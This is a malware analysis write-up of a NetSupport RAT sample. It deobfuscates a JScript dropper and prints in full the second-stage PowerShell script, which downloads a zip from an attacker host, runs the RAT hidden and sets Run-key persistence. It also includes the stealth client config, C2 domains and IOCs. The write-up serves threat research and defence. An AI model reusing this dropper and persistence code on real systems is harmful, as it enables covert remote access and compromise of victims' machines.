Analysing a NetSupport RAT Sample

Table of Contents

Introduction

While exploring Malware Bazar and Any.Run public submissions in search of intriguing samples, I stumbled upon a script that caught my attention. This was a JScript file that was intended to be executed by the Windows Scripting engine and exhibited the usual assortment of peculiarly named functions and confusing variable names.

After subjecting the script to VirusTotal analysis, I discovered that no vendors had flagged it (as of May 31, 2023), indicating it was a new sample. Further investigation of the initial JS script and extraction of two additional payloads revealed that it was, in fact, a variant of the NetSupport remote access trojan.

Breaking Down the Initial JScript File

The precise delivery mechanism for this particular sample remains unknown, as only the JScript file itself was uploaded to the sandbox. However, based on previous instances of NetSupport RAT, the most probable delivery method would involve a phishing email containing a malicious Office document or ISO file. Opening such a file would trigger the execution of this JScript file through the Windows cscript interpreter.

The script features a series of vaguely named nested functions, followed by a relatively less obfuscated code block responsible for the execution. These functions are utilized within this block to carry out various operations, to download and execute the next stage.

After passing the original script through a JavaScript beautifier, it becomes evident that there are five main functions declared, each containing several nested functions. The majority of these functions appear to be focused on decoding and assembling various URLs and WScript object strings used for obtaining and invoking the second stage payload.

Decode Helper - M()

This function encompasses multiple dictionary objects that store the arguments intended for the ‘G()’ function. Additionally, it incorporates other dictionary objects used for declaring supplementary functions that modify incoming arguments before forwarding the data to the main ‘G()’ function. It is worth noting the presence of redundant variables in this function, as well as in the accompanying helper functions, likely added to obfuscate the script further.

Note: Throughout the script, you will come across multiple instances of two-letter variable declarations, such as ‘G0 = sP’ in the following example. These declarations are used as proxies for the ‘G()’ function, making it intentionally challenging to track. However, despite the obfuscation, the pattern of arguments passed to this function remains consistent, making it relatively straightforward to identify, as demonstrated in the subsequent section.

function M(F) {
    var eR = {
        F: 0x2b6,
        r: '[]$G',
        e: 0x2b7,
        q: 'CI3i',
        ...
    }
    ...
    var G0 = sP
    var r = {
        'GKWOM': G0(eR.F, eR.r),
        'ekGeE': function(q, N) {
            return q + N;
        },
        ...
    }
    ...

}

String Store - s()

This is a simple function that returns a list of what seems to be random strings of varying length. This is used in the ‘G()’ function to retrive a specific index from the returned list based on the arguments provided.

function s() {
    var el = {
        'WPK4SNSMWLWK',
        'WADAWDJADSAAF/DSFKSJSDASDSA',
        'PO4JFNHCN3Lkxj3Kn9D',
        ...
    };
    s = function() {
        return el;
    }
    return s();
}

base64Decode()

As you probably guessed, this function takes in a base64 string as an argument and returns the decoded string. Running the base64 string that the script tries to decode through external tools such as CyberChef yields identical output, indicating that no specialized decoding occurs within this function.

checkURL()

Again, quite self explanatory. This contain a large amount of dictionary variables like the ‘M()’ function that are used in conjunction with the ‘G()’ function to construct the argument strings for creating a new instance of the MSXML2.ServerXMLHTTP ActiveXObject which is then used to make a web request to URL provided as an argument before finally returning the status code of the request outcome.

In the following snippet of the checkURL function, the accompanying comments show the deobfuscated version of the script lines

function checkURL(r) {
    var e8 = {
        F: 0x213,
        r: 'qPz!',
        e: 0x214,
        q: 'CI3i',
        ...
        l: 'w9^7',
        ...
    }
    ...
    FG = G;
    ...
    var e = {
        'GKWOM': G0(eR.F, eR.r),
        'ekGeE': function(q, N) {
            return q + N;
        },
        'ZfWju': Fw(0x224, e8.g)

        ...
    }
    ...
    var N = new ActiveXObject(FG(e8.R, e8.l));
//  var N = new ActiveXObject("MSXML2.ServerXMLHTTP");
    N[FG(e8.h, 'oyrk')](e[Fe(e8.x, 'w9^7'), r, ![]]);
//  N["Open"]("GET", r, false);
    N[FV(e8.c, e8.L)]();
//  N['send']();
    return N[FV(0x299, e8.a)]
//  return N['status']
}

Demystifying ‘G()’

This function appears to do all the heavy lifting when it comes to constructing the strings used as arguments for all the other JS functions as well as the ActiveXObject calls that take place.

The execution of this function is as follows:

  1. It is invoked with two arguments: a hexadecimal value (e.g., ‘0x29d’) and a string consisting of four random characters.
  2. The ’s()’ function is called and its return value is stored in a variable called ‘r’. This variable holds an array of predefined strings.
  3. The hexadecimal argument is subtracted by 465, and the resulting number is used as an index to retrieve a specific string from the ‘r’ array.
  4. This retrieved value and the second argument to the ‘G’ function are utilized in various string operations, such as character code retrieval and manipulation, to generate the final decoded string.
function G(M, F) {
    var r = s();
    G = function (e, q) {
        e = e - 0x1d1;
        var N = r[e];
        If (G['pQmmeK'] === undefined) {
            var B = 'abcdefg...ABCDEFG...0124';
            var D = '';
            var j = '';
            for (var U = 0x0, S, o, I = 0x0; o = m['charAt'](I++); ~o && (S = U % 0X4 ? S * 0X40 + o : o, U++ % 0x4) ? D += String['fromCharCode'](oxff & S >> (-0x2 * U & 0x6)) : 0x0) {
                o = B['indexOf'](o);
            }
            for (var b = 0x0, C = D['length']; b < C; b++) {
                j += '%' + ('00' + D['charCodeAt'](b)['toString'](0x10))['slice'](-0x2);
            }
            return decodeURIComponent(j);
        }
        ...
    }
    ...
    return G(M, F);
}

Putting the Pieces together

With an understanding of what the various function calls do, let’s examine the actual code block responsible for retrieving and executing the second stage payload.

In the following code snippets, alongside the original code, you will find comments indicating the deobfuscated version of each line.

As previously mentioned, any reference to a two-letter function, such as ‘sP’, can be considered as an alias for ‘G()’ in the following code snippets. At the beginning of the script, there are several combinations of two letters that are assigned the value of ‘G’.

Rudimentary Sandbox Check

The script starts by utilizing the ‘checkURL’ function to test network connectivity to Microsoft, Twitter, and Facebook. It sends requests to these endpoints and checks if the responses return a status code of ‘200’. If any of the requests do not yield a successful ‘200’ status code, the script terminates.

If the connection requests are sucessful, the script sleeps for 5 seconds before continuing execution.

var microsoftURL = 'https://www.microsoft.com';
var twitterURL = sP(0x29a, 'lU$R'); // https://www.twitter.com
var facebookURL = sP(0x29b, 'MUDO'); // https://www.facebook.com
var microsoftStatus = checkURL(microsoftURL);
var twitterStatus = checkURL(twitterStatus);
var facebookStatus = checkURL(facebookStatus);
if(microsoftStatus !== 0xc8 | twitterStatus !== 0xc8 | facebookStatus !== 0xc8) {
    // If the status code of the checkURL != 200: Exit script
    WScript[sP(0x29c, '0pAi')](); // WScript["Quit"]()
}
WScript[sl(0x29d, '%CB$')](0x1388); // WScript["Sleep"](5000)
Downloading Second Stage Payload

After resuming from sleep, the script proceeds to build a file path using a randomly generated file name in the format ‘xxxxxxx.ps1’, along with the file path to %APPDATA% obtained via the ‘ExpandEnvironmentStrings’ function of the ‘WScript.Shell’ object.

The URL hosting the second stage payload is generated as a base64 string by the ‘G()’ function and subsequently decoded. As of the time of writing, visiting that URL leads to a web page where the contents of the PowerShell script are stored as a string on the page.

Powershell Script Hosting

This string is retrieved and stored in a variable using a new instance of the ‘MSXML2.ServerXMLHTTP’ ActiveXObject. Although a file path is constructed, there is no attempt to save a file. Instead, the code is stored in this variable and executed directly using PowerShell.

var savePath = WScript[sl(0x29e, 'af20')](sh(0x29f, '0pAi'))[sL(0x2a0, '*le&')](sl(0x2a1, 'sh1f')) + '\x5c';
// var savePath = WScript["CreateObject"]("WScript.Shell")["ExpandEnvironmentStrings"]("%APPDATA%") + "\\"
var fso = new ActiveXObject(sX(0x2a2, 'tc&b'));
// var fso = new ActiveXObject("Scripting.FileSystemObject"); 
// Generates a random file e.g. 9ub5rns.ps1 by generating a random number, converting to a base36 string and slicing first 7 characters.
var randomFileName = Math['random']()[sE(0x2a3, 'b]Bm')](0x24)['substring'](0x7) + sh(0x2a4, 'r5a^');
// var fso = Math['random']()['toString'](36)['substring'](7) + '.ps1'
var scriptUrlBase64 = sP(ox2a5, 'kVNX');
// var scriptUrlBase64 = "aHR0cHM6Ly93d3cuc25hcHB5c2hvcC5pdC9pbWcvZG9jc2UucGhw"
var scriptUrl = base64Decode(scriptURLBase64);
// var scriptUrl = "hxxps://snappyshow[.]it/img/docse[.]php"
var httpRequest = new ActiveXObject(sE(0x2a6, 'v26k'));
// var httpRequest = new ActiveXObject("MSXML2.ServerXMLHTTP");
httpRequest[sc(0x2a7, 'OYCl')](sA(0x2a8, '[]$G'), scriptUrl, ![]);
// httpRequest["open"]("GET", scriptUrl, false);
httpRequest[sX(0x2a9, 'w9^7')]();
// httpRequest["send"]():
Executing the Second Stage Payload

Lastly, the content of the web page containing the PowerShell script is extracted from the ‘httpRequest’ response object, which was stored earlier. This extracted content is then passed as an argument to execute with ‘powershell.exe’.

var scriptCode = httpRequest[sa(0x2aa, '%13I')];
// var scriptCode = httpRequest["responseText"];
var shell = new ActiveXObject(sE(0x2ab, '*le&'));
// var shell = new ActiveXObject("WScript.Shell");
var command = sa(0x2ac, 'Qank') + 'ers' + sT(0x2ad, 'qPz!') + sX(0x2ae, 'V26K') + sT(0x2af, 'qPz!') + 'xe' + 'cu' + sR(0x2b0, 'pt]#') + sL(0x2b1, 'Dn6B') + sa(0x2b2, 'K(%#') + sc(0x2b3, 'Mt@d') + 'om' + sl(0x2b4, '%CB$') + '\x22' + scriptCode + '\x22';
// var command = powershell.exe -ExecutionPolicy Bypass -Command scriptCode
shell[sA(0x2b5, '#FP7')](command, 0x0, !![]);
// shell["Run"](command, 0 ,false);

Second Stage Payload

At the end of the previous step, the malware executes a PowerShell script as its second stage payload. This script lacks significant obfuscation and can be viewed in its entirety below. Its primary objective is to download a zip file containing the final NetSupport payload and establish a persistent method for executing this payload.

cd $env:Appdata;
$linok = 'hxxps://www[.]snappyshop[.]it/img/index[.]pnp'
$rnums=Get-Random -minimum 5 -maximum 9; 
$r_rnum=Get-Random -minimum 1051 -maximum 8989; 
$chrs='abcdefgjklmntuvwxyzABCDEFGHILMNOTUWXYZ1256890'; 
$r_strng=''; 
$ran=New-Object System.Random; 
for ($i=0; $i -lt $rnums; $i++) {$r_strng+=$chrs[$ran.next(0, $chrs.Length)]}; 
$rzip=$r_strng+'.zip'; 
$path=$env:APPDATA+'\'+$rzip; 
$pezip_=$env:APPDATA+'\ClockUTCSync_'+$r_rnum; 
Start-BitsTransfer -Source $linok -Destination $Path; 
expand-archive -path $path -destinationpath $pezip_; 
$FOLD=Get-Item $pezip_ -Force; 
$FOLD.attributes='Hidden'; 
Remove-Item -path $path; 
cd $pezip_; 
start client32.exe; 
$fstrng=$pezip_+'\client32.exe';
$ranome='ClockUTCSync_'+$r_rnum; 
New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name $ranome -Value $fstrng -PropertyType 'String'; 

Dynamically Generating File Paths

The malware utilizes the ‘Get-Random’ function and a character string to dynamically generate file names and paths for storing the downloaded data. Specifically, it generates a variable named ‘$path’ to represent the file path for the zip download. This path is located within the ‘%APPDATA%’ directory and incorporates a randomly generated 5-letter file name.

C:\Users\Labhost\AppData\Roaming\XXXXX.zip

Additionally, the malware generates a path to store the extracted contents of the zip file, assigning it to the variable ‘$pezip_’. This path resides within the ‘%APPDATA%’ directory, specifically in a folder named ‘ClockUTCSync_XXXX’, where XXXX represents a randomly generated 4-digit number between 1051 and 8989 .

C:\Users\Labhost\AppData\Roaming\ClockUTCSync_XXXX\

Fetching Final Payload

Once the variables are generated, the script utilizes the ‘Start-BitsTransfer’ cmdlet to initiate the download of the zip file from the specified attacker controller URL, which was defined at the beginning of the script. The downloaded zip file is saved to the previously generated ‘$path’ location.

Subsequently, the script extracts the contents of the downloaded ZIP file into the designated ‘$pezip_’ location. The extracted files within the folder are then marked as hidden to conceal their presence on the filesystem. Finally, the script removes the original ZIP file from the ‘%APPDATA%’ diectory.

Establishing Persistence

After the extraction, the script proceeds to execute the main NetSupport installer, which is named ‘Client32.exe’ in this instance. To establish persistence, a ‘Run’ registry key entry is created, with the name ‘ClockUTCSync_XXXX’ (reusing the name from earlier), pointing to the ‘Client32.exe’ executable.

HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ClockUTCSync_XXXX = "C:\Users\Labhost\AppData\Roaming\ClockUTCSync_XXXX\Client32.exe"

Establishing Persistence

NetSupport RAT - Client32.exe

Inside the extracted zip file you will find an older version of the NetSupport Client binary, specifically from 2013 (V12.0.0.1000). This binary is digitally signed with the official NetSupport signature. The extracted ZIP archive includes several DLL files. Some of these DLLs are associated with the NetSupport Client, while others are legitimate Microsoft DLLs.

Zip File Contents

NetSupport Config File

Inspecting the ‘Client32.ini’ file, you can see the configuration data utilized by the NetSupport client. This file contains numerous options aimed at concealing the client’s presence on the victim’s machine. These tactics include hiding the system tray icon, disabling certain GUI menus that are typically available in the client, and enabling the client to start on bootup, ensuring persistence across system restarts.

[Client]
_present=1
AlwaysOnTop=0
AutoICFConfig=1
DisableChat=1
DisableChatMenu=1
DisableClientConnect=1
DisableCloseApps=1
DisableDisconnect=1
DisableLocalInventory=1
DisableManageServices=1
DisableMessage=1

The ‘[HTTP]’ section reveals crucial information about the RAT client’s communication. Within this section, you can find the domain to which the client is configured to connect for receiving commands. Additionally, the configuration exposes the Gateway security key used in the authentication process.

[HTTP]
CMPI=60
GatewayAddress=balibumba1[.]com:5222
GSK=GK<PBBGF<KAMGA;B?MBNEPHA
Port=5222
SecondaryGateway=balibumba2[.]com:5222
SecondaryPort=5222

The ‘balibumba1[.]com’ domain was registered recently (28th May 2023).

At the time of writing, this domain points to an IP address hosted by the ISP ‘Prospero OOO’ based in Russia.

When routing the traffic to a netcat listener, you can observe the typical indicators associated with a NetSupport client. The URL of the post request (hxxp://XX.XX.XX/fakeurl[.]htm) and the user agent string (NetSupport Manager/1.3) are consistent with the characteristics of the NetSupport client. After the initial packet, which contained information about the host, the client continuously polled the NetSupport Manager Gateway for instructions.

You can see the full contents of the config file below.

0x1269ce73

[Client]
_present=1
AlwaysOnTop=0
AutoICFConfig=1
DisableChat=1
DisableChatMenu=1
DisableClientConnect=1
DisableCloseApps=1
DisableDisconnect=1
DisableLocalInventory=1
DisableManageServices=1
DisableMessage=1
DisableReplayMenu=1
DisableRequestHelp=1
HideWhenIdle=1
Protocols=3
RoomSpec=Eval
Shared=1
silent=1
SOS_Alt=0
SOS_LShift=0
SOS_RShift=0
SysTray=0
UnloadMirrorOnDisconnect=0
Usernames=*
ValidAddresses.TCP=*

[_Info]
Filename=C:\Program Files\NetSupport\NetSupport Manager\client32.ini

[_License]
quiet=1

[Audio]
DisableAudioFilter=1
Threshold=48

[Bridge]
LoadOnStartup=1
Modem=PPTP
PasswordFile=C:\Program Files\NetSupport\NetSupport Manager\bridge.psw
Protocol=0

[General]
BeepUsingSpeaker=0

[HTTP]
CMPI=60
GatewayAddress=balibumba1.com:5222
GSK=GK<PBBGF<KAMGA;B?MBNEPHA
Port=5222
SecondaryGateway=balibumba2.com:5222
SecondaryPort=5222

Indicators of Compromise (IOC’s)

Network Indicators

Contacted Domains

Domain IP Port
www[.]snappyshop[.]it 161[.]97[.]125[.]17 80,443
balibumba1[.]com 91[.]215[.]85[.]180 5222
balibumba2[.]com - 5222

File Download URL’s

URL’s Description
hxxps://www[.]snappyshop[.]it/img/docse[.]php Download URL for second stage Powershell script.
hxxps://www[.]snappyshop[.]it/img/index[.]php Download for final stage ZIP file

Host Indicators

File Hashes

Script SHA256 Description
scan129.js 759e159da0592063bb0eb967dd45802caa0a1538867994868d5b883f099286a5 Initial Dropper
XXXXXXX.ps1 d4e2c1c44b57be6b3467301f162fd65ff89f2a02407ecd95c7a97e3b2b622a57 Second stage PS Script
XXXXX.zip 18fd1a93e711c0d8eda1a269fea54f238781f0e67e1570d21308f4f47cd2ba63 Download ZIP File
AudioCapture.dll a74612ae5234d1a8f1263545400668097f9eb6a01dfb8037bc61ca9cae82c5b8 Contents of ZIP File
client32.exe 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d Contents of ZIP File
client32.ini 36cb67c124cbf975b03a7cd5e6cf026368fd78ba7d486a78dac242c71e41ece9 Contents of ZIP File
HTCTL32.DLL 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899 Contents of ZIP File
msvcr100.dll 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18 Contents of ZIP File
nskbfltr.inf d96856cd944a9f1587907cacef974c0248b7f4210f1689c1e6bcac5fed289368 Contents of ZIP File
NSM.LIC f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d Contents of ZIP File
nsm_vpro.ini 4bfa4c00414660ba44bddde5216a7f28aeccaa9e2d42df4bbff66db57c60522b Contents of ZIP File
pcicapi.dll 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703 Contents of ZIP File
PCICHEK.DLL 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd Contents of ZIP File
PCICL32.DLL 38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5 Contents of ZIP File
remcmdstub.exe fedd609a16c717db9bea3072bed41e79b564c4bc97f959208bfa52fb3c9fa814 Contents of ZIP File
TCCTL32.DLL 2b92ea2a7d2be8d64c84ea71614d0007c12d6075756313d61ddc40e4c4dd910e Contents of ZIP File

Sample Download

https://app.any.run/tasks/8905ff15-325e-4ef8-b5d5-9a9519483bdd